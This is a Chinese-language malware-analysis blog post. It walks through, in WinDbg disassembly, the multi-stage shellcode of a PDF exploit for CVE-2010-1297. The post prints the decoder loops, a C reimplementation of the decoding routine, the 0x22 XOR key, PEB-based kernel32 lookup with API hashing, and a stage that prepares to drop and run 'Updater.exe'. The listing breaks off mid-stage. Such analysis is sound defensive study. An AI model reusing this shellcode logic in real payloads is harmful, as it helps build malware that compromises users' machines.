CVE-2010-1297漏洞shellcode简析
Author: ReverseMan 
Blog:   http:/hi.baidu.com/reverseman

    前段时间,帮一朋友分析这个漏洞,主要是使用Windbg找到漏洞触发的原理以及找到shellcode的起始位置。现在由于某些原因,这些工作都没有意义了。虽然之前所做的工作都没有意义了,但是我还是花费了好些时间来分析这个漏洞的,所以现在简单将分析的过程写出来,一是方便自己学习总结,二是为和大家共享交流,互相学习进步而已。
    此次分析仅仅是从找到shellcode的起始位置开始,来分析shellcode中的编写技巧以及编写方法的。至于这个漏洞的原理以及如何在windbg中定位的shellcode的在本文的最后会做一个简要的描述,不做详述了。
分析这个shellcode的原因就是在于这个shellcode是一个非常典型的shellcode。里面包括了shellcode中的各种编写技术,非常值得学习。我也是一边分析、一边学习的,下面就是我分析过程,仅为学习,勿做他途。

这段shellcode我分成了三个阶段,第一个阶段就是利用的ROP来绕过DEP,然后执行后续的拷贝等工作的。在文末后再做解释,此处从第二个阶段开始。
一、shellcode分析

1、  第一个阶段:见第二部分总结
2、第二个阶段:
当程序运行到第二阶段shellcode开始的地方的时候,shellcode所在的内存区已经被写入了一些但不是全部的代码,首先使用如下命令来查看下shellcode所在内存区域的内存属性:

代码:
0:000> !address eip
    033e0000 : 033e0000 - 00001000
                    Type     00020000 MEM_PRIVATE
                    Protect  00000040 PAGE_EXECUTE_READWRITE
                    State    00001000 MEM_COMMIT
                    Usage    RegionUsageIsVAD
注意上述的内存属性是可读可写可执行,并且Usage是RegionUsageIsVAD。关于RegionUsageIsVAD是做何用途,我曾经在看雪上问过,可惜但是没有人回应。虽然,问题后来解决了,关于RegionUsageIsVAD的详细描述还是很少。从google中仅仅知道一般RegionUsageIsVAD属性内存一般是调用VirtualAlloc或者更底层的API调用的,并且在实际的内存使用中,RegionUsageIsVAD属性内存占用的比例也是最大的。但是不论如何,这段内存具有可执行属性本身就是比较可疑的。
下面就是开始处的shellcode:
Code_index1:
代码:
033e0000 5a              pop     edx
033e0001 90              nop
033e0002 54              push    esp
033e0003 90              nop
033e0004 5a              pop     edx   ----->此处执行完,见Stack_Index1:edx=0c0c0d94
033e0005 eb15            jmp     <Unloaded_POOL.DRV>+0x334001b (033e001c)
033e0007 58              pop     eax                //此处重定位       
033e0008 8b1a            mov     ebx,dword ptr [edx]
033e000a 8918            mov     dword ptr [eax],ebx  //此处进行数据的拷贝
033e000c 83c004          add     eax,4
033e000f 83c204          add     edx,4
033e0012 81fb0c0c0c0c    cmp     ebx,offset <Unloaded_POOL.DRV>+0xc0c0c0b (0c0c0c0c)
033e0018 75ee            jne     <Unloaded_POOL.DRV>+0x3340007 (033e0008)
033e001a eb05            jmp     <Unloaded_POOL.DRV>+0x3340020 (033e0021)
033e001c e8e6ffffff        call    <Unloaded_POOL.DRV>+0x3340006 (033e0007)
     可以参照下面的栈数据可知,上述代码首先进行栈调整,随后进行重定位来确定后续代码的拷贝地址,拷贝终止的条件就是当拷贝的数据是0xc0c0c0c0。
Stack_index1:
代码:
0c0c0d94 484023eb                              //shellcode 起始地方
0c0c0d98 5b575f43 
0c0c0d9c 3c038b66 <Unloaded_POOL.DRV>+0x3c038b65
0c0c0da0 2c1b7430 <Unloaded_POOL.DRV>+0x2c1b742f
0c0c0da4 04e0c063 <Unloaded_POOL.DRV>+0x4e0c062
0c0c0da8 8043ec80 
0c0c0dac c4020fe4 
0c0c0db0 0788ea34 <Unloaded_POOL.DRV>+0x788ea33
0c0c0db4 eb474343 
0c0c0db8 ffd8e8e3 
0c0c0dbc 4e49ffff 
0c0c0dc0 4d414943 
0c0c0dc4 4d414541 
0c0c0dc8 4d4b4d41 
0c0c0dcc 4d414543 
0c0c0dd0 4d414d41 
0c0c0dd4 444e4d41 <Unloaded_POOL.DRV>+0x444e4d40
0c0c0dd8 44434e49 <Unloaded_POOL.DRV>+0x44434e48
……
……
0c0c11c8 4d414d4d 
0c0c11cc 50414649 
0c0c11d0 4e414443 
0c0c11d4 4e4b474e 
0c0c11d8 30304c45 <Unloaded_POOL.DRV>+0x30304c44
0c0c11dc 0c0c0c0c <Unloaded_POOL.DRV>+0xc0c0c0b  //shellcode在此处结束
0c0c11e0 0c0c0c0c <Unloaded_POOL.DRV>+0xc0c0c0b
0c0c11e4 0c0c0c0c <Unloaded_POOL.DRV>+0xc0c0c0b
0c0c11e8 0c0c0c0c <Unloaded_POOL.DRV>+0xc0c0c0b
随后,拷贝完毕后的代码如下:
Code_index2:
代码:
033e001a eb05            jmp     <Unloaded_POOL.DRV>+0x3340020 (033e0021)
033e001c e8e6ffffff        call    <Unloaded_POOL.DRV>+0x3340006 (033e0007)
033e0021 eb23            jmp     <Unloaded_POOL.DRV>+0x3340045 (033e0046)
033e0023 40              inc     eax
033e0024 48              dec     eax
033e0025 43              inc     ebx
033e0026 5f              pop     edi
033e0027 57              push    edi
033e0028 5b              pop     ebx               //ebx=0x033e004b
033e0029 668b03          mov     ax,word ptr [ebx]
033e002c 3c30            cmp     al,30h
033e002e 741b            je      <Unloaded_POOL.DRV>+0x334004a (033e004b)
033e0030 2c63            sub     al,63h
033e0032 c0e004          shl     al,4
033e0035 80ec43          sub     ah,43h
033e0038 80e40f          and     ah,0Fh
033e003b 02c4            add     al,ah
033e003d 34ea            xor     al,0EAh
033e003f 8807            mov     byte ptr [edi],al
033e0041 43              inc     ebx
033e0042 43              inc     ebx
033e0043 47              inc     edi
033e0044 ebe3            jmp     <Unloaded_POOL.DRV>+0x3340028 (033e0029)
033e0046 e8d8ffffff        call    <Unloaded_POOL.DRV>+0x3340022 (033e0023)
033e004b 49              dec     ecx //从此处以下均为加密的shellcode
033e004c 4e              dec     esi
033e004d 43              inc     ebx
033e004e 49              dec     ecx
033e004f 41              inc     ecx
……
……//此处后面还有,限于篇幅,未全部列出
从上述可以看到,shellcode的后半部分还是加密的状态,而前半部分就是进行代码的解密的,解密代码即从0x033e0029开始,至0x033e0044结束,其C代码如下:
代码:
void decode(char *shellcode)
{
……
WORD  wTemp;
unsigned char *pMov,pCode=(unsigned char *)shellcode;
pMov=pCode;
While(*pCode!=0x30)
{
     wTemp=(WORD*)pCode;
    *pCode=(((wTemp&0x00FF)-0x63)<<4+(wTemp>>4)-0x43)^0xEA;
     pCode++;
     pMov+=2;
}
……
}
上述加密的代码解密完毕后的shellcode如下:
代码:
Code_index3:
033e004b 81ec00080000    sub     esp,offset <Unloaded_POOL.DRV>+0x7ff (00000800)
033e0051 60              pushad
033e0052 e800000000      call    <Unloaded_POOL.DRV>+0x3340056 (033e0057)
033e0057 5b              pop     ebx //此处为明显的重定位
033e0058 81ebac104000    sub     ebx,offset AcroRd32Exe+0x10ac (004010ac)
033e005e eb30            jmp     <Unloaded_POOL.DRV>+0x334008f (033e0090)
                         //跳转到0x033e0090处
033e0060 16              push    ss
033e0061 65fa            cli
033e0063 10ec            adc     ah,ch
033e0065 97              xchg    eax,edi
033e0066 030cac          add     ecx,dword ptr [esp+ebp*4]
033e0069 08da            or      dl,bl
033e006b 76ad            jbe     <Unloaded_POOL.DRV>+0x3340019 (033e001a)
033e006d 9b              wait
……
……
     这段代码进行重定位,随后跳转至0x033e0090处。从0x033e0060看到,后面的汇编代码还是有问题的,至于此处的代码有什么作用,暂时不可知,所以暂且记下。
下面看0x033e0090处的反汇编代码:
Code_index4:
代码:
033e0090 64a130000000    mov     eax,dword ptr fs:[<Unloaded_POOL.DRV>+0x2f (00000030)] fs:003b:00000030=7ffdf000  //使用fs:30来定位Kernel32.dll基址
033e0096 8b400c          mov     eax,dword ptr [eax+0Ch]
033e0099 8b701c          mov     esi,dword ptr [eax+1Ch]
033e009c ad              lods    dword ptr [esi]
033e009d 8b4008          mov     eax,dword ptr [eax+8]
033e00a0 8983cd104000    mov     dword ptr AcroRd32Exe+0x10cd (004010cd)[ebx],eax  //此时eax中存放的就是Kernel32的基址 ,详见Data_Index1
033e00a6 fc              cld
033e00a7 8dbbb5104000    lea     edi,AcroRd32Exe+0x10b5 (004010b5)[ebx]
033e00ad 33c9            xor     ecx,ecx
033e00af b106            mov     cl,6
033e00b1 e827010000      call    <Unloaded_POOL.DRV>+0x33401dc (033e01dd)
      上述代码就是通过查询PEB来定位Kernel32.dll的基址,从而通过解析PE结构来查询特定的函数的地址。如上所标示,eax中就是Kernel32.dll的基址,验证如下:
Data_index1:
代码:
0:000> !lmi Kernel32.dll
Loaded Module Info: [kernel32.dll] 
         Module: kernel32
   Base Address: 7c800000
     Image Name: C:\WINDOWS\system32\kernel32.dll
   Machine Type: 332 (I386)
     Time Stamp: 4802bdc6 Mon Apr 14 10:13:26 2008
           Size: 11e000
       CheckSum: 122a2b
Characteristics: 210e  perf
Debug Data Dirs: Type  Size     VA  Pointer
             CODEVIEW    25, 840a4,   834a4 RSDS - GUID: {34560E80-F5C5-4175-B208-848EF863C5BD}
               Age: 2, Pdb: kernel32.pdb
                CLSID     4, 840a0,   834a0 [Data not mapped]
     Image Type: FILE     - Image read successfully from debugger.
                 C:\WINDOWS\system32\kernel32.dll
    Symbol Type: PDB      - Symbols loaded successfully from symbol search path.
                 y:\kernel32.pdb
    Load Report: public symbols , not source indexed 
                 y:\kernel32.pdb  
0:000> r
eax=7c800000 ebx=02f3efab ecx=90ffffff edx=0c0c11e0 esi=00251f5c edi=033e0259
eip=033e00a0 esp=0c0c0574 ebp=00010124 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00240212
<Unloaded_POOL.DRV>+0x334009f:
033e00a0 8983cd104000    mov     dword ptr AcroRd32Exe+0x10cd (004010cd)[ebx],eax ds:0023:033e0078={kernel32!_imp___wcsnicmp <PERF> (kernel32+0x0) (7c800000)}
      
在随后的Code_index4后调用了033e01dd处的函数(Code_index5)
Code_index5:
代码:
033e01dd 60              pushad
033e01de 8bb3cd104000    mov     esi,dword ptr AcroRd32Exe+0x10cd (004010cd)[ebx]
033e01e4 03763c          add     esi,dword ptr [esi+3Ch]
033e01e7 8b7678          mov     esi,dword ptr [esi+78h]
033e01ea 03b3cd104000    add     esi,dword ptr AcroRd32Exe+0x10cd (004010cd)[ebx]
033e01f0 56              push    esi
033e01f1 8b4e18          mov     ecx,dword ptr [esi+18h]
033e01f4 8b7620          mov     esi,dword ptr [esi+20h]
033e01f7 03b3cd104000    add     esi,dword ptr AcroRd32Exe+0x10cd (004010cd)[ebx]
033e01fd 33c0            xor     eax,eax
033e01ff 33d2            xor     edx,edx
033e0201 56              push    esi
033e0202 8b36            mov     esi,dword ptr [esi]
033e0204 03b3cd104000    add     esi,dword ptr AcroRd32Exe+0x10cd (004010cd)[ebx]
//以上的上述过程均是在做PE格式的解析
033e020a ac              lods    byte ptr [esi]    //读取函数名中的字符
033e020b 38e0            cmp     al,ah         //判断函数名是否结束
033e020d 7407            je      <Unloaded_POOL.DRV>+0x3340215 (033e0216)
033e020f c1ca0d          ror     edx,0Dh        
033e0212 03d0            add     edx,eax
033e0214 ebf4            jmp     <Unloaded_POOL.DRV>+0x3340209 (033e020a)
//对函数名进行hash
033e0216 3b17            cmp     edx,dword ptr [edi]
//hash的结果与存档的hash值进行比较
033e0218 7409            je      <Unloaded_POOL.DRV>+0x3340222 (033e0223)
033e021a 5e              pop     esi
033e021b 83c604          add     esi,4
033e021e 49              dec     ecx
033e021f 7435            je      <Unloaded_POOL.DRV>+0x3340255 (033e0256)
033e0221 ebdc            jmp     <Unloaded_POOL.DRV>+0x33401fe (033e01ff)
//如果没有匹配,即没有查找到函数,即返回继续查找
033e0223 5e              pop     esi
033e0224 8bd6            mov     edx,esi
033e0226 5e              pop     esi
033e0227 2b5620          sub     edx,dword ptr [esi+20h]
033e022a 2b93cd104000    sub     edx,dword ptr AcroRd32Exe+0x10cd (004010cd)[ebx]
033e0230 d1ea            shr     edx,1
033e0232 035624          add     edx,dword ptr [esi+24h]
033e0235 0393cd104000    add     edx,dword ptr AcroRd32Exe+0x10cd (004010cd)[ebx]
033e023b 0fb702          movzx   eax,word ptr [edx]
033e023e c1e002          shl     eax,2
033e0241 03461c          add     eax,dword ptr [esi+1Ch]
033e0244 0383cd104000    add     eax,dword ptr AcroRd32Exe+0x10cd (004010cd)[ebx]
033e024a 8b00            mov     eax,dword ptr [eax]
033e024c 0383cd104000    add     eax,dword ptr AcroRd32Exe+0x10cd (004010cd)[ebx]
033e0252 8907            mov     dword ptr [edi],eax
//将找到的函数地址覆盖相应函数的hash值,此处eax=0x7c801812
033e0254 eb01            jmp     <Unloaded_POOL.DRV>+0x3340256 (033e0257)
033e0256 5e              pop     esi
033e0257 61              popad
033e0258 c3              ret
     上述过程首先对Kernel32.dll进行PE格式的解析,定位到导出表后,即开始对函数名字表中的字符进行hash,随后和已存储的函数hash值,来定位自己需要的函数地址。随后覆盖hash为真实的函数地址,此处可以发现033e0060-033e008F的内存其实就是用来存储shellcode所用到的全局数据的,而并不是指令。至于最后找到的地址存放在eax中,可以通过如下命令进行验证:
Data_index2:
代码:
0:000> u eax
kernel32!ReadFile:     //可见,此处找到的函数地址是ReadFile
7c801812 6a20            push    20h
7c801814 68389c807c      push    offset kernel32!`string'+0xc (7c809c38)
7c801819 e8b80c0000      call    kernel32!_SEH_prolog (7c8024d6)
7c80181e 33db            xor     ebx,ebx
7c801820 8b4d14          mov     ecx,dword ptr [ebp+14h]
7c801823 3bcb            cmp     ecx,ebx
7c801825 7402            je      kernel32!ReadFile+0x17 (7c801829)
7c801827 8919            mov     dword ptr [ecx],ebx
     
然后,shellcode继续查找所需要的函数地址,最终所找的函数列表如下:
Data_index3:
代码:
0:000> dds 033e0060
033e0060  7c801812 kernel32!ReadFile
033e0064  7c80fdbd kernel32!GlobalAlloc
033e0068  7c810c1e kernel32!SetFilePointer
033e006c  7c810b07 kernel32!GetFileSize
033e0070  7c809bd7 kernel32!CloseHandle
033e0074  7c81cafa kernel32!ExitProcess
033e0078  7c800000 kernel32!_imp___wcsnicmp <PERF> (kernel32+0x0)
继续回到Code_index4中:
代码:
033e00b6 83c704          add     edi,4
033e00b9 e2f6            loop    <Unloaded_POOL.DRV>+0x33400b0 (033e00b1)
//上述函数过程循环查找shellcode中所需要的函数地址,共计7个
033e00bb fc              cld
033e00bc 33c0            xor     eax,eax
033e00be 33d2            xor     edx,edx
033e00c0 66ba5ec3        mov     dx,offset <Unloaded_POOL.DRV>+0xc35d (0000c35e)
//对dx赋值为0xc35e,即指令为pop esi ; ret 两条指令
033e00c4 8bb3c9104000    mov     esi,dword ptr AcroRd32Exe+0x10c9 (004010c9)[ebx]
033e00ca 668b06          mov     ax,word ptr [esi]
033e00cd 663bd0          cmp     dx,ax
033e00d0 7404            je      <Unloaded_POOL.DRV>+0x33400d5 (033e00d6)
033e00d2 46              inc     esi
033e00d3 46              inc     esi
033e00d4 ebf4            jmp     <Unloaded_POOL.DRV>+0x33400c9 (033e00ca)
//上面过程动态查找上述两条指令,在后续过程中方便在Invoke ReadFile后,返回shellcode
033e00d6 89b3e1104000    mov     dword ptr AcroRd32Exe+0x10e1 (004010e1)[ebx],esi
033e00dc 33f6             xor     esi,esi
033e00de bd00200000      mov     ebp,offset <Unloaded_POOL.DRV>+0x1fff (00002000)
033e00e3 eb19            jmp     <Unloaded_POOL.DRV>+0x33400fd (033e00fe)
033e00e5 6a00            push    0
033e00e7 56              push    esi  //esi=0
033e00e8 ff93c1104000    call    dword ptr AcroRd32Exe+0x10c1 (004010c1)[ebx]
//调用GetFileSize函数来动态查找POC的文件句柄
033e00ee 83f800          cmp     eax,0
//若eax非零,则表示esi所代表的整型值表示一个句柄值,并取得相应的文件大小
//否则,递增句柄值,并继续查找。注意,此处找到的句柄值并不一定是POC文件的句柄值
033e00f1 7e08            jle     <Unloaded_POOL.DRV>+0x33400fa (033e00fb)
033e00f3 eb0b            jmp     <Unloaded_POOL.DRV>+0x33400ff (033e0100)
033e00f5 8bb3d9104000    mov     esi,dword ptr AcroRd32Exe+0x10d9 (004010d9)[ebx]
033e00fb 83c604          add     esi,4
033e00fe ebe5            jmp     <Unloaded_POOL.DRV>+0x33400e4 (033e00e5)
033e0100 89b3d9104000    mov     dword ptr AcroRd32Exe+0x10d9 (004010d9)[ebx],esi
033e0106 8be8            mov     ebp,eax
033e0108 0500080000      add     eax,offset <Unloaded_POOL.DRV>+0x7ff (00000800)
033e010d 50              push    eax  //eax==0x00078a75,即文件大小
033e010e 6a40            push    40h
033e0110 ff93b9104000    call    dword ptr AcroRd32Exe+0x10b9 (004010b9)[ebx]
//调用GlobalAlloc分配空间,大小为eax即文件大小,内存属性为可写可读可执行。
033e0116 8983d1104000    mov     dword ptr AcroRd32Exe+0x10d1 (004010d1)[ebx],eax
033e011c 03c5            add     eax,ebp
033e011e 8983d5104000    mov     dword ptr AcroRd32Exe+0x10d5 (004010d5)[ebx],eax
033e0124 6a00            push    0
033e0126 6a00            push    0
033e0128 6a00            push    0
033e012a ffb3d9104000    push    dword ptr AcroRd32Exe+0x10d9 (004010d9)[ebx]
033e0130 ff93bd104000    call    dword ptr AcroRd32Exe+0x10bd (004010bd)[ebx]
//调用SetFilePointer将文件指针放到恶意代码开始的地方
//此处将恶意代码放到文件头
033e0136 8bb3d1104000    mov     esi,dword ptr AcroRd32Exe+0x10d1 (004010d1)[ebx]
033e013c 8dbbdd104000    lea     edi,AcroRd32Exe+0x10dd (004010dd)[ebx]
033e0142 8b93d9104000    mov     edx,dword ptr AcroRd32+0x10d9 (004010d9)[ebx]
033e0148 8d83b7114000    lea     eax,AcroRd32+0x11b7 (004011b7)[ebx]
033e014e 50              push    eax //“小配件”的返回地址,其实就是0x033e0162
033e014f 56              push    esi  //“小配件”的参数,无实际意义
033e0150 6a00            push    0   //ReadFile的参数5:lpOverlapped 
033e0152 57              push    edi // ReadFile的参数4: lpNumberOfBytesRead
033e0153 55              push    ebp// ReadFile的参数3: nNumberOfBytesToRead
033e0154 56              push    esi // ReadFile的参数2:  lpBuffer
033e0155 52              push    edx//ReadFile的参数1: hFile
033e0156 ffb3e1104000    push    dword ptr AcroRd32+0x10e1 (004010e1)[ebx]//返回地址
//下面使用jmp调用ReadFile,所以我们需要事先将返回地址手动压入栈中,上述指令即将前面动态查找的 称作“小配件”的指令的地址压入,用来返回
033e015c ffa3b5104000    jmp     dword ptr AcroRd32+0x10b5 (004010b5)[ebx] ds:0023:033e0060={kernel32!ReadFile (7c801812)}
//调用ReadFile读取文件
033e0162 0bc0            or      eax,eax
033e0164 7e8f            jle     <Unloaded_.dll>+0x33e00f4 (033e00f5)
033e0166 90              nop
033e0167 90              nop
033e0168 8bb3d1104000    mov     esi,dword ptr AcroRd32+0x10d1 (004010d1)[ebx]
033e016e 8b06            mov     eax,dword ptr [esi]  ds:0023:001bb008=46445025
//esi指向缓冲区,内容见Data_index4
033e0170 3d25504446      cmp     eax,offset <Unloaded_.dll>+0x46445024 (46445025)
//判断缓冲区头部内容是否和0x46445025相等,这个十六进制数其实就是ASCII:%PDF
//也就是标示PDF文件的文件头数据
033e0175 740c            je      <Unloaded_.dll>+0x33e0182 (033e0183)
033e0177 8bb3d9104000    mov     esi,dword ptr AcroRd32+0x10d9 (004010d9)[ebx]
033e017d 46              inc     esi
033e017e e972ffffff      jmp     <Unloaded_.dll>+0x33e00f4 (033e00f5)
//如果查找到的文件不是PDF文件头,即不是我们所需要查找的文件头,则需要返回重新查//找,即继续GetFileSize,然后GlobalAlloc,读入文件内容,判断是否是PDF头部。
//否则,则认为找到POC文件,往下继续执行
033e0183 8bb3d1104000    mov     esi,dword ptr AcroRd32+0x10d1 (004010d1)[ebx]
033e0189 33c9            xor     ecx,ecx
033e018b bafafbfcfd       mov     edx,0FDFCFBFAh    //恶意代码的特征码
033e0190 eb08            jmp     <Unloaded_.dll>+0x33e0199 (033e019a)
033e0192 8b06            mov     eax,dword ptr [esi]
033e0194 3bc2            cmp     eax,edx
033e0196 740c            je      <Unloaded_.dll>+0x33e01a3 (033e01a4)
033e0198 46              inc     esi
033e0199 41              inc     ecx
033e019a 3bcd            cmp     ecx,ebp       //ebp保存文件大小
033e019c 72f4            jb      <Unloaded_.dll>+0x33e0191 (033e0192)
//在POC中循环查找恶意代码的起始位置  结束时ecx=0x00007e8f
033e019e e952ffffff      jmp     <Unloaded_.dll>+0x33e00f4 (033e00f5)
033e01a4 83c604          add     esi,4
033e01a7 8b3ce4          mov     edi,dword ptr [esp]
033e01aa 90              nop
033e01ab 90              nop
033e01ac 90              nop
033e01ad b9000a0000      mov     ecx,offset <Unloaded_.dll>+0x9ff (00000a00)
033e01b2 a4              movs    byte ptr es:[edi],byte ptr [esi] 
033e01b3 e2fd            loop    <Unloaded_.dll>+0x33e01b1 (033e01b2)
//此处查找到恶意代码的起始位置,开始循环拷贝shellcode,此时寄存器值如下:
0:000> r.
edi=033e0259  es=00000023  esi=001c2e9b  
//edi即当前shellcode所在的内存区,而esi为刚读入内存的数据(大小0xa00)
//读取的shellcode可以成为shellcode的第三个阶段
033e01b5 8bbbd1104000    mov     edi,dword ptr AcroRd32+0x10d1 (004010d1)[ebx]
033e01bb 90              nop
033e01bc 90              nop
033e01bd 90              nop
033e01be 90              nop
033e01bf 90              nop
033e01c0 90              nop
033e01c1 90              nop
033e01c2 90              nop
033e01c3 90              nop
033e01c4 90              nop
033e01c5 90              nop
033e01c6 90              nop
033e01c7 90              nop
033e01c8 c3              ret  //返回时,poi(esp)= 0x033e0259
Data_index4:
代码:
0:000> da poi(esi)
001bb008  "%PDF-1.5.1 0 obj.<</#54ype/C#61#"
001bb028  "74#61l#6fg/P#61#67e#73 3 0 R/#4f"
001bb048  "p#65#6e#41c#74ion 5 0 R>>.endobj"
001bb068  ".3 0 obj.<</#54#79pe/P#61#67#65#"
001bb088  "73/Cou#6et 1/Kid#73 [4 0 R]>>.en"
001bb0a8  "dobj.4 0 obj.<</#54#79#70e/#50ag"
001bb0c8  "e/#50#61re#6et 3 0 R/#41nn#6f#74"
001bb0e8  "#73 [7 0 R] >>.endobj.5 0 obj.<<"
001bb108  "/T#79p#65/#41c#74ion/S/JavaSc#72"
001bb128  "i#70#74/#4aS 6 0 R>>.endobj.6 0 "
001bb148  "obj.<</Le#6e#67t#68 3646/Fi#6cte"
001bb168  "r /#46l#61#74e#44ecode   
上述内容即为POC文件的文件头,即PDF文件的开始部分

3、第三个阶段:
     第二个阶段已经完成了动态解密shellcode、动态查找所需要的函数地址、查找POC文件、拷贝下一阶段shellcode等功能。第三个阶段的shellcode就是完成最终的功能,这就可能是释放恶意文件、感染系统或者盗取隐私信息等。后面的基本上就是调用API函数完成特定的功能了,代码也就较为简单,所以只是简单罗列出代码来,方便大家查看。
代码:
033e0259 90              nop
033e025a 90              nop
033e025b 8b4424fc        mov     eax,dword ptr [esp-4]
033e025f 83c01b          add     eax,1Bh  //eax==033e0274
033e0262 33c9            xor     ecx,ecx
033e0264 803022          xor     byte ptr [eax],22h 
033e0267 40              inc     eax
033e0268 41              inc     ecx
033e0269 81f900070000    cmp     ecx,offset <Unloaded_.dll>+0x6ff (00000700)
033e026f 75f3            jne     <Unloaded_.dll>+0x33e0263 (033e0264)
033e0271 90              nop
033e0272 90              nop
033e0273 90              nop
033e0274 77a9            ja      <Unloaded_.dll>+0x33e021e (033e021f)
033e0276 ce              into
033e0277 a3ce3e2422    mov     dword ptr [Annots!PlugInMain+0x142b5b (22243ece)],eax
033e027c 227174          and     dh,byte ptr [ecx+74h]
033e027f 75e5            jne     <Unloaded_.dll>+0x33e0265 (033e0266)
033e0281 67ea23222222e567 jmp     67E5:22222223
   可以看出上面过程就是一段解密的代码,密钥是0x22,算法就是XOR,解完密的代码如下:
Code_index6:
代码:
033e0274 55              push    ebp
033e0275 8bec            mov     ebp,esp
033e0277 81ec1c060000    sub     esp,offset <Unloaded_.dll>+0x61b (0000061c)
033e027d 53              push    ebx
033e027e 56              push    esi
033e027f 57              push    edi
033e0280 c745c801000000  mov     dword ptr [ebp-38h],offset <Unloaded_.dll> (00000001)
033e0287 c745bc00000000  mov     dword ptr [ebp-44h],0
033e028e c745ac80000000  mov     dword ptr [ebp-54h],offset <Unloaded_.dll>+0x7f (00000080)
033e0295 c78534feffff00000000 mov dword ptr [ebp-1CCh],0
033e029f c68524faffff55  mov     byte ptr [ebp-5DCh],55h
033e02a6 c68525faffff70  mov     byte ptr [ebp-5DBh],70h
033e02ad c68526faffff64  mov     byte ptr [ebp-5DAh],64h
033e02b4 c68527faffff61  mov     byte ptr [ebp-5D9h],61h
033e02bb c68528faffff74  mov     byte ptr [ebp-5D8h],74h
033e02c2 c68529faffff65  mov     byte ptr [ebp-5D7h],65h
033e02c9 c6852afaffff72  mov     byte ptr [ebp-5D6h],72h
033e02d0 c6852bfaffff2e  mov     byte ptr [ebp-5D5h],2Eh
033e02d7 c6852cfaffff65  mov     byte ptr [ebp-5D4h],65h
033e02de c6852dfaffff78  mov     byte ptr [ebp-5D3h],78h
033e02e5 c6852efaffff65  mov     byte ptr [ebp-5D2h],65h
//上述几个字符即为Update.exe
//0:000> da 0c0bff98
0c0bff98  "Updater.exe....................."
0c0bffb8  "................................"
0c0bffd8  "................................"
0c0bfff8  "................................"
033e02ec 33c0            xor     eax,eax
033e02ee 89852ffaffff      mov     dword ptr [ebp-5D1h],eax
033e02f4 e9a2040000      jmp     <Unloaded_.dll>+0x33e079a (033e079b)
033e02f9 5f              pop     edi
//上述过程即是在重定位
033e02fa 64a130000000    mov     eax,dword ptr fs:[<Unloaded_.dll>+0x2f (00000030)]
033e0300 8b400c          mov     eax,dword ptr [eax+0Ch]
033e0303 8b701c          mov     esi,dword ptr [eax+1Ch]
033e0306 ad              lods    dword ptr [esi]
033e0307 8b5808          mov     ebx,dword ptr [eax+8]
//获取kernel32基址,似乎和第二阶段的shellcode功能重复
033e030a 8bf7            mov     esi,edi
033e030c 6a0c            push    0Ch
033e030e 59              pop     ecx
033e030f e826040000      call    <Unloaded_.dll>+0x33e0739 (033e073a)
//0x033e073a处的汇编代码见Code_index6
033e0314 e2f9            loop    <Unloaded_.dll>+0x33e030e (033e030f)

Code_index7:
033e073a 51              push    ecx
033e073b 56              push    esi
033e073c 8b733c          mov     esi,dword ptr [ebx+3Ch]
033e073f 8b741e78        mov     esi,dword ptr [esi+ebx+78h]
033e0743 03f3            add     esi,ebx
033e0745 56              push    esi
033e0746 8b7620          mov     esi,dword ptr [esi+20h]
033e0749 03f3            add     esi,ebx
033e074b 33c9            xor     ecx,ecx
033e074d 53              push    ebx
033e074e 49              dec     ecx
033e074f 41              inc     ecx
033e0750 ad              lods    dword ptr [esi]
033e0751 5b              pop     ebx
033e0752 03c3            add     eax,ebx
033e0754 53              push    ebx
033e0755 33db            xor     ebx,ebx
033e0757 0fbe10          movsx   edx,byte ptr [eax]
033e075a 3ad6            cmp     dl,dh
033e075c 7408            je      <Unloaded_.dll>+0x33e0765 (033e0766)
033e075e c1cb07          ror     ebx,7
033e0761 03da            add     ebx,edx
033e0763 40              inc     eax
033e0764 ebf1            jmp     <Unloaded_.dll>+0x33e0756 (033e0757)
033e0766 3b1f            cmp     ebx,dword ptr [edi]  ds:0023:033e07a0=b4ffafed
033e0768 75e5            jne     <Unloaded_.dll>+0x33e074e (033e074f)
033e076a 5a              pop     edx
033e076b 5e              pop     esi
033e076c 8b5e24          mov     ebx,dword ptr [esi+24h]
033e076f 03da            add     ebx,edx
033e0771 668b0c4b        mov     cx,word ptr [ebx+ecx*2]
033e0775 8b5e1c          mov     ebx,dword ptr [esi+1Ch]
033e0778 03da            add     ebx,edx
033e077a 8b048b          mov     eax,dword ptr [ebx+ecx*4]
033e077d 03c2            add     eax,edx
033e077f 57              push    edi
033e0780 8dbdccffffff    lea     edi,[ebp-34h]
033e0786 8b4dc8          mov     ecx,dword ptr [ebp-38h]
033e0789 83c704          add     edi,4
033e078c e2fb            loop    <Unloaded_.dll>+0x33e0788 (033e0789)
033e078e ab              stos    dword ptr es:[edi]
033e078f 5f              pop     edi
033e0790 83c704          add     edi,4
033e0793 8bda            mov     ebx,edx
033e0795 5e              pop     esi
033e0796 59              pop     ecx
033e0797 ff45c8          inc     dword ptr [ebp-38h]
033e079a c3              ret
上述代码均是在查找函数的地址,此处的代码作用和前面查找函数的功能相同,所以觉得这个shellcode貌似是拼凑起来似的,最终查找的结果如下:
Data_index5:
代码:
0c0c0544 7c80b55f kernel32!GetModuleFileNameA
0c0c0548 7c810b07 kernel32!GetFileSize
0c0c054c 7c810c1e kernel32!SetFilePointer
0c0c0550 7c801a28 kernel32!CreateFileA
0c0c0554 7c801812 kernel32!ReadFile
0c0c0558 7c810e17 kernel32!WriteFile
0c0c055c 7c809bd7 kernel32!CloseHandle
0c0c0560 7c8623ad kernel32!WinExec
0c0c0564 7c835de2 kernel32!GetTempPathA
0c0c0568 7c80236b kernel32!CreateProcessA
0c0c056c 7c80de85 kernel32!GetCurrentProcess
0c0c0570 7c801e1a kernel32!TerminateProcess
继续Code_index6(033e0316)处的反汇编代码如下:
代码:
033e0316 8b07            mov     eax,dword ptr [edi]
033e0318 89854cfeffff     mov     dword ptr [ebp-1B4h],eax
033e031e 83c704          add     edi,4
033e0321 8b07            mov     eax,dword ptr [edi]
033e0323 898548feffff    mov     dword ptr [ebp-1B8h],eax ss:0023:0c0c03bc=0c0c0c0c
033e0329 83c704          add     edi,4
033e032c 8b07            mov     eax,dword ptr [edi]
033e032e 898544feffff    mov     dword ptr [ebp-1BCh],eax
033e033e 83c704          add     edi,4
033e0337 8b07            mov     eax,dword ptr [edi]
033e0339 898540feffff    mov     dword ptr [ebp-1C0h],eax
033e033f 83c704          add     edi,4
033e0342 8b07            mov     eax,dword ptr [edi]
033e0344 89853cfeffff    mov     dword ptr [ebp-1C4h],eax
033e034a 83c704          add     edi,4
